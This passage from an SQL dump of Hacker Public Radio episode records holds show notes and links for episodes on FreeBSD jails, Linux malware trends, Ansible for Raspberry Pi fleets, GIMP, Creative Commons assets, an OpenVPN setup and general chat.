console www\r\n</code></pre>\r\n<p>Once you have a shell <strong>inside the jail</strong>, install and start Apache.</p>\r\n<pre><code>pkg install apache24\r\nsysrc apache24_enable=&quot;yes&quot;\r\nservice apache24 start\r\n</code></pre>\r\n<p>Port 80 on the jail will now be accessible on the hosts IP address.</p>\r\n<h3 id=\"multiple-jails\">Multiple jails.</h3>\r\n<p>Additional jails can be installed using the example above.</p>\r\n<ol>\r\n<li>Install the new jail with the <code>iocage create</code> command , but use a different IP address</li>\r\n<li>Expose the new jail to the network by adding additional rules to pf.conf.</li>\r\n</ol>\r\n<h3>Book recommendation</h3>\r\n<ul>\r\n<li><a href=\"https://www.tiltedwindmillpress.com/product/fmjail\"><em>FreeBSD Mastery: Jails</em>, Michael W Lucas</a><br/>\r\nMichael W Lucas is great Technical book author.</li>\r\n</ul>\r\n',342,0,0,'CC-BY-SA','BSD',0,0,1),
(3172,'2020-09-29','A ramble with the Pentland Squires (part 2)',2983,'Second half of the chat between MrX and Dave Morriss','<p>The two HPR hosts based in Edinburgh got together over Mumble on the evening of Sunday 23<sup>rd</sup> August 2020 to have a chat during the COVID-19 pandemic.</p>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\">MrX</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a></li>\r\n</ul>\r\n<p>This is the second half of the conversation. For the first part see <a href=\"https://hackerpublicradio.org/eps.php?id=3167\">HPR show 3167</a>.</p>\r\n<h2 id=\"notes\">Notes</h2>\r\n<p>Some of the topics we discussed:</p>\r\n<ul>\r\n<li>Listening to podcasts\r\n<ul>\r\n<li>MrX’s recent show <a href=\"https://hackerpublicradio.org/eps.php?id=3132\"><em>Keeping track of where I am</em></a></li>\r\n<li>Using phone-based apps like <a href=\"https://antennapod.org/\">Antennapod</a></li>\r\n<li><a href=\"https://www.rockbox.org/\">Rockbox (free music player firmware)</a> on Sansa Fuze, Sansa Clip, Clip+, Clip Zip, etc</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Mobile phones and tablets\r\n<ul>\r\n<li>MrX likes his <a href=\"https://www.nokia.com/phones/en_gb/nokia-5310\">Nokia 5310</a></li>\r\n<li>Dave is interested in the <a href=\"https://www.pine64.org/pinephone/\">PinePhone</a></li>\r\n<li>MrX has a Samsung Galaxy tablet (and did an HPR episode about it: <a href=\"https://hackerpublicradio.org/eps.php?id=3030\">hpr3030 :: My new Samsung tablet</a>)</li>\r\n<li><em>Smart</em> devices want to make you a <em>victim</em>!</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Digital data versus pieces of paper\r\n<ul>\r\n<li>Dave is using a Google spreadsheet shopping list which he can share with his kids who are shopping for him</li>\r\n<li>There’s still a desire to keep things on paper though</li>\r\n<li>The tendency to hoard bits of paper</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Using Windows\r\n<ul>\r\n<li>Multiple (virtual) desktops on Windows 10, a counter-intuitive design</li>\r\n<li>Outlook as a mail client (with Exchange) is very poor compared to open source options</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>3D printing\r\n<ul>\r\n<li><a href=\"https://www.openscad.org/\">OpenSCAD: <em>The Programmers Solid 3D CAD Modeller</em></a></li>\r\n<li>A <a href=\"https://en.wikipedia.org/wiki/Slicer_(3D_printing)\">Slicer</a>: software for converting a 3D model into instructions for a 3D printer in the form of <a href=\"https://en.wikipedia.org/wiki/G-code\">G-code</a>.</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>The current pandemic\r\n<ul>\r\n<li>Lockdown controls exposure to the virus and limits cases</li>\r\n<li>Fewer cases means the health service can cope better</li>\r\n<li><em>Sheltering</em> keeps vulnerable people safe until a vaccine is available</li>\r\n<li><em>Herd Immunity</em> is when the majority of people are immune to the virus and don’t transmit it to vulnerable people</li>\r\n<li>Long-term effects of COVID-19</li>\r\n<li>Asymptomatic carriers of the virus</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>HPR listening and contributing in the time of COVID\r\n<ul>\r\n<li>Current times tend to make it harder to keep up to date with shows</li>\r\n<li>It’s also harder to make time to make contributions at the moment</li>\r\n<li>Issues with motivation</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Miscellaneous\r\n<ul>\r\n<li>MrX’s car needing attention due to rust</li>\r\n<li>Dave’s anecdote of his neighbour losing power late one night</li>\r\n</ul></li>\r\n</ul>\r\n',225,0,1,'CC-BY-SA','COVID-19,physical isolation,discussion',0,0,1),
(3240,'2021-01-01','Linux Under Attack',978,'A look at how malware is now targeting Linux, especially servers','<p>At one time most malware targeted Windows because it was the most popular OS, but as Linux has risen in popularity, particularly in the data center, it has become a target. We look at some of the recent attacks on Linux, and note some common features of the attacks. This then suggests some ways we can protect ourselves</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://build5nines.com/linux-is-most-used-os-in-microsoft-azure-over-50-percent-fo-vm-cores/\" class=\"uri\">https://build5nines.com/linux-is-most-used-os-in-microsoft-azure-over-50-percent-fo-vm-cores/</a></li>\r\n<li><a href=\"https://w3techs.com/technologies/comparison/os-linux,os-windows\" class=\"uri\">https://w3techs.com/technologies/comparison/os-linux,os-windows</a></li>\r\n<li><a href=\"https://gs.statcounter.com/os-market-share\" class=\"uri\">https://gs.statcounter.com/os-market-share</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Chrome_OS\" class=\"uri\">https://en.wikipedia.org/wiki/Chrome_OS</a></li>\r\n<li><a href=\"https://www.zdnet.com/article/this-surprise-linux-malware-warning-shows-that-hackers-are-changing-their-targets/\" class=\"uri\">https://www.zdnet.com/article/this-surprise-linux-malware-warning-shows-that-hackers-are-changing-their-targets/</a></li>\r\n<li><a href=\"https://www.zwilnik.com/security-and-privacy/ssh-and-tunneling/ssh-introduction/\" class=\"uri\">https://www.zwilnik.com/security-and-privacy/ssh-and-tunneling/ssh-introduction/</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1850\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1850</a></li>\r\n<li><a href=\"https://www.bleepingcomputer.com/news/security/russian-hacker-pleads-guilty-for-role-in-infamous-linux-ebury-malware/\" class=\"uri\">https://www.bleepingcomputer.com/news/security/russian-hacker-pleads-guilty-for-role-in-infamous-linux-ebury-malware/</a></li>\r\n<li><a href=\"https://www.theregister.com/2016/09/02/alleged_linux_hacker_arrested/\" class=\"uri\">https://www.theregister.com/2016/09/02/alleged_linux_hacker_arrested/</a></li>\r\n<li><a href=\"https://www.helpnetsecurity.com/2018/12/07/linux-backdoors-openssh/\" class=\"uri\">https://www.helpnetsecurity.com/2018/12/07/linux-backdoors-openssh/</a></li>\r\n<li><a href=\"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf\" class=\"uri\">https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf</a></li>\r\n<li><a href=\"https://www.helpnetsecurity.com/2018/12/07/linux-backdoors-openssh/\" class=\"uri\">https://www.helpnetsecurity.com/2018/12/07/linux-backdoors-openssh/</a></li>\r\n<li><a href=\"https://www.nsa.gov/news-features/press-room/Article/2311407/nsa-and-fbi-expose-russian-previously-undisclosed-malware-drovorub-in-cybersecu/\" class=\"uri\">https://www.nsa.gov/news-features/press-room/Article/2311407/nsa-and-fbi-expose-russian-previously-undisclosed-malware-drovorub-in-cybersecu/</a></li>\r\n<li><a href=\"https://www.zdnet.com/article/fbi-and-nsa-expose-new-linux-malware-drovorub-used-by-russian-state-hackers/\" class=\"uri\">https://www.zdnet.com/article/fbi-and-nsa-expose-new-linux-malware-drovorub-used-by-russian-state-hackers/</a></li>\r\n<li><a href=\"https://www.bleepingcomputer.com/news/security/lucifer-cryptomining-ddos-malware-now-targets-linux-systems/\" class=\"uri\">https://www.bleepingcomputer.com/news/security/lucifer-cryptomining-ddos-malware-now-targets-linux-systems/</a></li>\r\n<li><a href=\"https://www.bleepingcomputer.com/news/security/lemon-duck-cryptominer-malware-now-targets-linux-devices/\" class=\"uri\">https://www.bleepingcomputer.com/news/security/lemon-duck-cryptominer-malware-now-targets-linux-devices/</a></li>\r\n<li><a href=\"https://www.bleepingcomputer.com/news/security/fritzfrog-malware-attacks-linux-servers-over-ssh-to-mine-monero/\" class=\"uri\">https://www.bleepingcomputer.com/news/security/fritzfrog-malware-attacks-linux-servers-over-ssh-to-mine-monero/</a></li>\r\n<li><a href=\"https://www.amazon.com/SSH-Mastery-OpenSSH-PuTTY-Tunnels/dp/1642350028\" class=\"uri\">https://www.amazon.com/SSH-Mastery-OpenSSH-PuTTY-Tunnels/dp/1642350028</a></li>\r\n<li><a href=\"https://www.zwilnik.com/security-and-privacy/linux-under-attack/\" class=\"uri\">https://www.zwilnik.com/security-and-privacy/linux-under-attack/</a></li>\r\n</ul>\r\n',198,74,0,'CC-BY-SA','Linux, malware, ssh',0,0,1),
(3174,'2020-10-01','Linux Inlaws S01E14: The big programming language panel',3174,'Our heroes host an eclectic panel of experts discussion C(++), Python and Rust. ','<br/>Shownotes:<br/>\r\n<ul>\r\n<li>Bottlerocket: <a href=\"https://aws.amazon.com/about-aws/whats-new/2020/08/announcing-general-availability-of-bottlerocket\" target=\"_blank\">https://aws.amazon.com/about-aws/whats-new/2020/08/announcing-general-availability-of-bottlerocket</a></li>\r\n<li>Windows as a rolling release: <a href=\"https://ubuntupodcast.org/2020/08/27/s13e23-horseshoe\" target=\"_blank\">https://ubuntupodcast.org/2020/08/27/s13e23-horseshoe</a></li>\r\n<li>LPC Rust in kernel: <a href=\"https://program.linuxplumbersconf.org/event/7/contributions/804/attachments/641/1168/barriers-to-in-tree-rust.pdf\" target=\"_blank\">https://program.linuxplumbersconf.org/event/7/contributions/804/attachments/641/1168/barriers-to-in-tree-rust.pdf</a></li>\r\n<li>Redox OS: <a href=\"https://www.redox-os.org\" target=\"_blank\">https://www.redox-os.org</a></li>\r\n<li>FC33: <a href=\"https://fedoramagazine.org/btrfs-coming-to-fedora-33\" target=\"_blank\">https://fedoramagazine.org/btrfs-coming-to-fedora-33</a></li>\r\n<li>Linux kernel history report: <a href=\"https://www.linuxfoundation.org/resources/publications/2020-kernel-history-report\" target=\"_blank\">https://www.linuxfoundation.org/resources/publications/2020-kernel-history-report</a></li>\r\n<li>Thunderbird 78 with OpenPGP: <a href=\"https://wiki.mozilla.org/Thunderbird:OpenPGP:2020\" target=\"_blank\">https://wiki.mozilla.org/Thunderbird:OpenPGP:2020</a></li>\r\n<li>Python Software Foundation: <a href=\"https://www.python.org/psf\" target=\"_blank\">https://www.python.org/psf</a></li>\r\n<li>Rust project website: <a href=\"https://www.rust-lang.org\" target=\"_blank\">https://www.rust-lang.org</a></li>\r\n<li>ISO C working group: <a href=\"https://www.open-std.org/jtc1/sc22/wg14\" target=\"_blank\">https://www.open-std.org/jtc1/sc22/wg14</a></li>\r\n<li>ISO C++ standard: <a href=\"https://isocpp.org\" target=\"_blank\">https://isocpp.org</a></li>\r\n<li>Rust @ Microsoft: <a href=\"https://www.youtube.com/watch?v=NQBVUjdkLAA\" target=\"_blank\">https://www.youtube.com/watch?v=NQBVUjdkLAA</a></li>\r\n<li>Rainbow escort: <a href=\"https://www.etsy.com/de/market/rainbow_escort_card\" target=\"_blank\">https://www.etsy.com/de/market/rainbow_escort_card</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','C++, Python, Rust, Rainbow Escorts, Halloween',0,0,1),
(3185,'2020-10-16','Pandemics In History',1062,'Infectious disease is one of the most important factors influencing human history','<p>This is a look at how infectious diseases have changed the course of human history. It is admittedly a bit Euro- or Western-centric since that is what I know best. But I think the point of its importance applies more broadly.</p>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Plague_of_Athens\" class=\"uri\">https://en.wikipedia.org/wiki/Plague_of_Athens</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Antonine_Plague\" class=\"uri\">https://en.wikipedia.org/wiki/Antonine_Plague</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Plague_of_Cyprian\" class=\"uri\">https://en.wikipedia.org/wiki/Plague_of_Cyprian</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Crisis_of_the_Third_Century\" class=\"uri\">https://en.wikipedia.org/wiki/Crisis_of_the_Third_Century</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Plague_of_Justinian\" class=\"uri\">https://en.wikipedia.org/wiki/Plague_of_Justinian</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Black_Death\" class=\"uri\">https://en.wikipedia.org/wiki/Black_Death</a></li>\r\n<li><a href=\"https://www.amazon.com/1491-Revelations-Americas-Before-Columbus/dp/1400032059\" class=\"uri\">https://www.amazon.com/1491-Revelations-Americas-Before-Columbus/dp/1400032059</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/0\" class=\"uri\">https://en.wikipedia.org/wiki/0</a></li>\r\n<li><a href=\"https://www.pri.org/stories/2019-01-31/european-colonization-americas-killed-10-percent-world-population-and-caused\" class=\"uri\">https://www.pri.org/stories/2019-01-31/european-colonization-americas-killed-10-percent-world-population-and-caused</a></li>\r\n<li><a href=\"https://www.amazon.com/Guns-Germs-Steel-Fates-Societies/dp/0393317552\" class=\"uri\">https://www.amazon.com/Guns-Germs-Steel-Fates-Societies/dp/0393317552</a></li>\r\n<li><a href=\"https://www.scientificamerican.com/article/mass-deaths-in-americas-start-new-co2-epoch/\" class=\"uri\">https://www.scientificamerican.com/article/mass-deaths-in-americas-start-new-co2-epoch/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Cocoliztli_epidemics\" class=\"uri\">https://en.wikipedia.org/wiki/Cocoliztli_epidemics</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Spanish_flu\" class=\"uri\">https://en.wikipedia.org/wiki/Spanish_flu</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Cytokine_storm\" class=\"uri\">https://en.wikipedia.org/wiki/Cytokine_storm</a></li>\r\n<li><a href=\"https://dc.gov/measles/downloads/MeaslesDataAndStatsSlideSet.pdf\" class=\"uri\">https://dc.gov/measles/downloads/MeaslesDataAndStatsSlideSet.pdf</a></li>\r\n<li><a href=\"https://www.palain.com/health-topics/pandemics-in-history/\" class=\"uri\">https://www.palain.com/health-topics/pandemics-in-history/</a></li>\r\n</ul>\r\n',198,100,0,'CC-BY-SA','Health, Infectious Disease, History, Pandemics',0,0,1),
(3171,'2020-09-28','A Week On Soylent',735,'Lostnbronx tries eating nothing but Soylent, so you don\'t have to.','<p>I bought - and ate - a jar of Soylent, which is a powdered food replacement product. These are my thoughts.</p>\r\n<ul>\r\n<li><p>Company Website:<br />\r\n<a href=\"https://soylent.com/\" class=\"uri\">https://soylent.com/</a></p></li>\r\n<li><p>Wikipedia Article:<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Soylent_(meal_replacement)\" class=\"uri\">https://en.wikipedia.org/wiki/Soylent_(meal_replacement)</a></p></li>\r\n</ul>',107,0,0,'CC-BY-SA','soylent, food, health, diet, lostnbronx',0,0,1),
(3173,'2020-09-30','Manage your Raspberry Pi fleet with Ansible',1209,'A solution to the problem of updating difficult-to-reach Raspberry Pis in the enterprise.','<p>\r\nThis is the final show in the miniseries on how to manage your RaspberryPis with ansible. The goal is to produce a common base Raspberry Pi OS image that doesn\'t change often but, once it\'s installed, can automatically be customized, maintained, and managed remotely.\r\n</p>\r\n<p>\r\nWe will create the base image using the <a href=\"https://github.com/kenfallon/fix-ssh-on-pi\">script fix-ssh-on-pi<a/> which is available on GitHub. \r\n</p>\r\n<p>\r\nThen we will identify the hosts on the network with tips from <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\">operat0r</a> in show <a href=\"https://hackerpublicradio.org/eps.php?id=3090\">hpr3090 :: Locating Computers on a Enterprise Network</a>, or for simpler networks from my own show <a href=\"https://hackerpublicradio.org/eps.php?id=3052\">hpr3052 :: Locating computers on a network</a>.\r\n</p>\r\n<p>\r\nFinally we will provision the devices using tips from <a href=\"https://hackerpublicradio.org/eps.php?id=3080\">hpr3080 :: Ansible ping</a>, and <a href=\"https://hackerpublicradio.org/eps.php?id=3162\">hpr3162 :: Introduction to Ansible </a>\r\n</p>\r\n<p>\r\nThis show has been been simultaneously published as an <a href=\"https://opensource.com/article/20/9/raspberry-pi-ansible\">article on opensource.com</a>.\r\n</p>\r\n\r\n<h3>Links</h3>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\">https://hackerpublicradio.org/correspondents.php?hostid=36</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\">https://hackerpublicradio.org/correspondents.php?hostid=78</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2356\">https://hackerpublicradio.org/eps.php?id=2356</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3052\">https://hackerpublicradio.org/eps.php?id=3052</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3080\">https://hackerpublicradio.org/eps.php?id=3080</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3090\">https://hackerpublicradio.org/eps.php?id=3090</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3162\">https://hackerpublicradio.org/eps.php?id=3162</a></li>\r\n<li><a href=\"https://man7.org/linux/man-pages/man8/losetup.8.html\">https://man7.org/linux/man-pages/man8/losetup.8.html</a></li>\r\n<li><a href=\"https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html\">https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html</a></li>\r\n<li><a href=\"https://docs.ansible.com/ansible/latest/modules/apt_module.html\">https://docs.ansible.com/ansible/latest/modules/apt_module.html</a></li>\r\n<li><a href=\"https://docs.ansible.com/ansible/latest/user_guide/intro_inventory.html\">https://docs.ansible.com/ansible/latest/user_guide/intro_inventory.html</a></li>\r\n<li><a href=\"https://docs.ansible.com/ansible/latest/user_guide/playbooks_intro.html\">https://docs.ansible.com/ansible/latest/user_guide/playbooks_intro.html</a></li>\r\n<li><a href=\"https://docs.ansible.com/ansible/latest/user_guide/playbooks_reuse_roles.html\">https://docs.ansible.com/ansible/latest/user_guide/playbooks_reuse_roles.html</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Ansible_%28software%29%23Design_goals\">https://en.wikipedia.org/wiki/Ansible_%28software%29%23Design_goals</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Comparison_of_open-source_configuration_management_software\">https://en.wikipedia.org/wiki/Comparison_of_open-source_configuration_management_software</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/DevOps\">https://en.wikipedia.org/wiki/DevOps</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Domain_Name_System\">https://en.wikipedia.org/wiki/Domain_Name_System</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol\">https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Enterprise_resource_planning\">https://en.wikipedia.org/wiki/Enterprise_resource_planning</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Hostname\">https://en.wikipedia.org/wiki/Hostname</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Idempotent\">https://en.wikipedia.org/wiki/Idempotent</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/ISO_9000\">https://en.wikipedia.org/wiki/ISO_9000</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/MAC_address\">https://en.wikipedia.org/wiki/MAC_address</a></li>\r\n<li><a href=\"https://github.com/kenfallon/fix-ssh-on-pi\">https://github.com/kenfallon/fix-ssh-on-pi</a></li>\r\n<li><a href=\"https://github.com/nmcclain/raspberian-firstboot\">https://github.com/nmcclain/raspberian-firstboot</a></li>\r\n<li><a href=\"https://wiki.debian.org/DebianReleases\">https://wiki.debian.org/DebianReleases</a></li>\r\n<li><a href=\"https://www.amazon.com/StarTech-com-4-Slot-USB-C-Card-Reader/dp/B07HVPNQRQ/\">https://www.amazon.com/StarTech-com-4-Slot-USB-C-Card-Reader/dp/B07HVPNQRQ/</a></li>\r\n<li><a href=\"https://www.ansible.com/\">https://www.ansible.com/</a></li>\r\n<li><a href=\"https://www.cyberciti.biz/faq/ansible-apt-update-all-packages-on-ubuntu-debian-linux/\">https://www.cyberciti.biz/faq/ansible-apt-update-all-packages-on-ubuntu-debian-linux/</a></li>\r\n<li><a href=\"https://www.raspberrypi.org/blog/raspberry-pi-4-on-sale-now-from-35/#comment-1510410\">https://www.raspberrypi.org/blog/raspberry-pi-4-on-sale-now-from-35/#comment-1510410</a></li>\r\n<li><a href=\"https://www.raspberrypi.org/documentation/configuration/raspi-config.md\">https://www.raspberrypi.org/documentation/configuration/raspi-config.md</a></li>\r\n<li><a href=\"https://www.raspberrypi.org/documentation/hardware/raspberrypi/bootmodes/net_tutorial.md\">https://www.raspberrypi.org/documentation/hardware/raspberrypi/bootmodes/net_tutorial.md</a></li>\r\n<li><a href=\"https://www.raspberrypi.org/documentation/raspbian/updating.md\">https://www.raspberrypi.org/documentation/raspbian/updating.md</a></li>\r\n<li><a href=\"https://www.raspberrypi.org/education/\">https://www.raspberrypi.org/education/</a></li>\r\n<li><a href=\"https://www.raspberrypi.org/products/raspberry-pi-1-model-b-plus/\">https://www.raspberrypi.org/products/raspberry-pi-1-model-b-plus/</a></li>\r\n<li><a href=\"https://www.raspberrypi.org/products/raspberry-pi-2-model-b/\">https://www.raspberrypi.org/products/raspberry-pi-2-model-b/</a></li>\r\n<li><a href=\"https://www.raspberrypi.org/products/raspberry-pi-3-model-a-plus/\">https://www.raspberrypi.org/products/raspberry-pi-3-model-a-plus/</a></li>\r\n<li><a href=\"https://www.raspberrypi.org/products/raspberry-pi-3-model-b/\">https://www.raspberrypi.org/products/raspberry-pi-3-model-b/</a></li>\r\n<li><a href=\"https://www.raspberrypi.org/products/raspberry-pi-3-model-b-plus/\">https://www.raspberrypi.org/products/raspberry-pi-3-model-b-plus/</a></li>\r\n<li><a href=\"https://www.raspbian.org/\">https://www.raspbian.org/</a></li>\r\n</ul>',30,0,0,'CC-BY-SA','raspberrypi, Raspbian, ansible, opensource.com',0,0,1),
(3250,'2021-01-15','GIMP: Getting Started With Layers',952,'Mastering the basic tools of Layers in GIMP','<p>Layers are the feature that does most of the heavy lifting in GIMP. After our previous introduction, we start to get hands-on with the controls that let us work with Layers</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://docs.gimp.org/2.10/en/\" class=\"uri\">https://docs.gimp.org/2.10/en/</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/getting-started-with-layers/\" class=\"uri\">https://www.ahuka.com/gimp/getting-started-with-layers/</a></li>\r\n</ul>\r\n',198,113,0,'CC-BY-SA','GIMP, images, photos, graphics, layers',0,0,1),
(3260,'2021-01-29','Free, Public Domain and Creative Commons Assets',1289,'Using images and fonts that are not restricted','<p>In preparation for doing some sample exercises I wanted to first explain about how you can use images and fonts that are not restricted or are available under license terms that are not too restrictive. Any image that is intended for public display or for commercial purposes could be liable for copyright infringement if care is not taken. Fortunately, there are many resources available that you can use, and we look at some of the better ones.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://docs.gimp.org/2.10/en/\" class=\"uri\">https://docs.gimp.org/2.10/en/</a></li>\r\n<li><a href=\"https://creativecommons.org/\" class=\"uri\">https://creativecommons.org/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Wikipedia:Public_domain_image_resources\" class=\"uri\">https://en.wikipedia.org/wiki/Wikipedia:Public_domain_image_resources</a></li>\r\n<li><a href=\"https://ccsearch.creativecommons.org/\" class=\"uri\">https://ccsearch.creativecommons.org/</a></li>\r\n<li><a href=\"https://ccsearch.creativecommons.org/search-help\" class=\"uri\">https://ccsearch.creativecommons.org/search-help</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Category:Public_domain_typefaces\" class=\"uri\">https://en.wikipedia.org/wiki/Category:Public_domain_typefaces</a></li>\r\n<li><a href=\"https://www.booksofm.com/2008/08/public-domain-font.html\" class=\"uri\">https://www.booksofm.com/2008/08/public-domain-font.html</a></li>\r\n<li><a href=\"https://www.1001fonts.com/licenses/ffc.html\" class=\"uri\">https://www.1001fonts.com/licenses/ffc.html</a></li>\r\n<li><a href=\"https://www.dafont.com/\" class=\"uri\">https://www.dafont.com/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/SIL_Open_Font_License\" class=\"uri\">https://en.wikipedia.org/wiki/SIL_Open_Font_License</a></li>\r\n<li><a href=\"https://scripts.sil.org/cms/scripts/page.php?site_id=nrsi&amp;id=OFL\" class=\"uri\">https://scripts.sil.org/cms/scripts/page.php?site_id=nrsi&amp;id=OFL</a></li>\r\n<li><a href=\"https://linuxconfig.org/how-to-install-fonts-on-ubuntu-20-04-focal-fossa-linux\" class=\"uri\">https://linuxconfig.org/how-to-install-fonts-on-ubuntu-20-04-focal-fossa-linux</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/free-public-domain-and-cc-assets/\" class=\"uri\">https://www.ahuka.com/gimp/free-public-domain-and-cc-assets/</a></li>\r\n</ul>',198,113,0,'CC-BY-SA','Public Domain, Creative Commons, copyright, images, fonts',0,0,1),
(3177,'2020-10-06','Zero cost VPN',407,'OpenVPN on a Free Tier VPS for securing phone trafic ','<p>A basic overview of the VPN I use</p>\r\n<ul>\r\n<li>Linux on a free/low cost VPS</li>\r\n<li>Helper script install OpenVPN and generate client config file</li>\r\n<li>Transfer client config file to mobile device</li>\r\n<li>Install OpenVPN client on Mobile Device and import the config</li>\r\n</ul>\r\n<p>There are a few options for the Linux server. Free tier cloud providers</p>\r\n<ul>\r\n<li>AWS</li>\r\n<li>Google</li>\r\n<li>Azure</li>\r\n</ul>\r\n<p>VPS with Free credits ($20-$100) for new accounts I\'ve gotten discount codes from podcasts</p>\r\n<ul>\r\n<li>Digital Ocean</li>\r\n<li>Linode</li>\r\n</ul>\r\n<p>VPS requirements for running a OpenVPN server are pretty are basic</p>\r\n<ul>\r\n<li>Internet accessible IP address</li>\r\n<li>Average Network speed</li>\r\n<li>root shell access</li>\r\n</ul>\r\n<p>The openvpn installer is on GitHub. <a href=\"https://github.com/angristan/openvpn-install\">https://github.com/angristan/openvpn-install</a></p>\r\n<p>On the server as root, run</p>\r\n<pre><code>git clone https://github.com/angristan/openvpn-install.git\r\n/openvpn-install/openvpn-install.sh\r\n</code></pre>\r\n',342,0,0,'CC-BY-SA','VPN, OpenVPN',0,0,1),
(3270,'2021-02-12','An Example of Using Layers',900,'Creating a new header image for my WordPress site using Layers in GIMP','<p>There is a point where you need to stop being abstract and start demonstrating what you are talking about, so I thought this was a good opportunity to put some things into practice by creating an image. I chose to do a header image for my site Ahuka Communications that would more accurately reflect the content. This lets us use freely licensed images, an OFL-licensed font, layers, and various tools. Note that you can download all of this stuff from my site.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://docs.gimp.org/2.10/en/\" class=\"uri\">https://docs.gimp.org/2.10/en/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Wikipedia:Public_domain_image_resources\" class=\"uri\">https://en.wikipedia.org/wiki/Wikipedia:Public_domain_image_resources</a></li>\r\n<li><a href=\"https://www.clker.com/\" class=\"uri\">https://www.clker.com/</a></li>\r\n<li><a href=\"https://www.clker.com/clipart-1895.html\" class=\"uri\">https://www.clker.com/clipart-1895.html</a></li>\r\n<li><a href=\"https://www.clker.com/clipart-29779.html\" class=\"uri\">https://www.clker.com/clipart-29779.html</a></li>\r\n<li><a href=\"https://www.clker.com/clipart-x-office-spreadsheet.html\" class=\"uri\">https://www.clker.com/clipart-x-office-spreadsheet.html</a></li>\r\n<li><a href=\"https://www.clipartspy.com/\" class=\"uri\">https://www.clipartspy.com/</a></li>\r\n<li><a href=\"https://www.needpix.com/\" class=\"uri\">https://www.needpix.com/</a></li>\r\n<li><a href=\"https://www.needpix.com/photo/96030/file-type-ods-spreadsheet-open-document-spreadsheet-file-open-office\" class=\"uri\">https://www.needpix.com/photo/96030/file-type-ods-spreadsheet-open-document-spreadsheet-file-open-office</a></li>\r\n<li><a href=\"https://www.needpix.com/photo/28685/presentation-people-meeting-office-corporate-seminar-training-professional-businesspeople\" class=\"uri\">https://www.needpix.com/photo/28685/presentation-people-meeting-office-corporate-seminar-training-professional-businesspeople</a></li>\r\n<li><a href=\"https://www.needpix.com/photo/1321215/abstract-background-business-cloud-concept-graphic-group-illustration-office\" class=\"uri\">https://www.needpix.com/photo/1321215/abstract-background-business-cloud-concept-graphic-group-illustration-office</a></li>\r\n<li><a href=\"https://fontlibrary.org/\" class=\"uri\">https://fontlibrary.org/</a></li>\r\n<li><a href=\"https://www.ahuka.com/wp-content/uploads/2020/09/Header.zip\" class=\"uri\">https://www.ahuka.com/wp-content/uploads/2020/09/Header.zip</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/an-example-of-using-layers/\" class=\"uri\">https://www.ahuka.com/gimp/an-example-of-using-layers/</a></li>\r\n</ul>\r\n',198,113,0,'CC-BY-SA','GIMP, Layers, WordPress',0,0,1),
